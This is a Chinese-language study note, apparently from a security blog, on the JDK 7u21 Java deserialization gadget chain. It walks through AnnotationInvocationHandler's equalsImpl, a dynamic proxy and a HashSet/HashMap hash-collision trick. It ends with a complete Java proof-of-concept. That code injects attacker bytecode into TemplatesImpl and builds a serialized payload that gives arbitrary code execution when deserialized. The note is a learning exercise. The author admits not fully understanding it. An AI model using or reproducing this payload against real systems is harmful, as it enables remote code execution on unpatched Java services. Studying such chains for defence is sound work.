jdk7u21之前的通杀链.
核心是sun.reflect.annotation.AnnotationInvocationHandler 这个类,
这条链是思路与前面的思路完全不同,
根据前面的知识可以知道,可以利用这个类来触发setvalue从而去触发cc里面的transform方法,
但是CC链子的核心是transform,去除CC之后,AnnotationInvocationHandler 这个类似乎没有什么用处了。

核心

继续发掘 AnnotationInvocationHandler : 发现有下面这么一段很逆天的代码。
image.png
var5来源是this.getMemberMethods, 稍微跟一下可以发现他调用的是this.type.getDeclareMethods这个方法。
image.png
var1也刚好是this.type的实例,
image.png
也就这段代码会遍历调用this.type类的所有方法会执行,那么控制this.type为TemplatesImpl类,或者(Templates类传TemplatesImpl的实例)一定会触发getOutputProperties或者newTransform, 从而导致任意代码执行。

equalsImpl调用

所以就要想办法调用 equalsImpl, equalsImpl在AnnotationInvocationHandler#invoke 中被调用.
而这个方法是一个代理方法,可以把AnnotationInvocationHandler设置为代理类,这样在触发别的代理类的任意方法的时候都会执行AnnotationInvocationHandler#invoke.
然后看下面的代码可知,调用代理类的equals方法的时候就会触发equalsImpl的调用
image.png

代理类与触发

这个时候就要想到各种各样的map类以及容器类了,而且最好还是和Hash有关系的,我们去HashMap这个类去看一看,发现putVal就会调用equals方法.而且我们知道反序列化的时候是会调用putVal的.
image.png
但是这里调用equals方法需要绕过一道门槛,就是Hash计算的门槛.

懒得自己看了.. 跟着P师傅思路找HashSet了

但是无法直接把HashMap类当作代理类,因为这样调用readObject也会直接调用invoke. 我们想要的是调用proxy.equals
又刚好发现:
HashSet中:刚好会调用HashMap的put方法,
image.png
HashMap#put方法又是调用的putVal.
image.png
putVal又会调用key的equals方法,
所以整个思路就是,

  1. 首先创建一个HashMap1
  2. 用AnnotationInvocationHandler为HashMap1创建代理proxyMap
    1. 同时把
  3. 然后再把proxyMap当作HashSet的Key塞进去.

这其中有一些难点:

  1. 嵌套多层map之后,哪些map有哪些元素很容易晕
  2. hash的绕过

自己调试了一遍还是不明所以,所以就暂时搁置了。
下面是POC:

  1. // jdk1.7
  2. // 核心 : sun.reflect.annotation.AnnotationInvocationHandler
  3. public class JDK7u21 {
  4. public static byte[] payload() throws Exception {
  5. ClassPool pool = ClassPool.getDefault();
  6. CtClass ct = pool.get(bad.evilClz.class.getName());
  7. byte[] shellcode = ct.toBytecode();
  8. TemplatesImpl tmpl = new TemplatesImpl();
  9. Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});
  10. Reflections.setFieldValue(tmpl,"_name","testName");
  11. Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());
  12. Map hashMap = new HashMap();
  13. hashMap.put("f5a5a608","foo"); // hash("f5a5a608") = 0;
  14. Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  15. Constructor constructor = clz.getDeclaredConstructor(Class.class, Map.class);
  16. constructor.setAccessible(true);
  17. InvocationHandler handler = (InvocationHandler) constructor.newInstance(Templates.class,hashMap);
  18. // tmpl.getOutputProperties();
  19. Map proxyMap = (Map) Proxy.newProxyInstance(
  20. ClassLoader.getSystemClassLoader(),
  21. hashMap.getClass().getInterfaces(), handler);
  22. hashMap.put("f5a5a608",tmpl); // 这里把hashMap代理之后, readObject都进不去...
  23. HashSet set = new HashSet();
  24. // set.add(tmpl);
  25. set.add(proxyMap);
  26. set.add(tmpl);
  27. return Serializer.Serialize(set);
  28. }
  29. }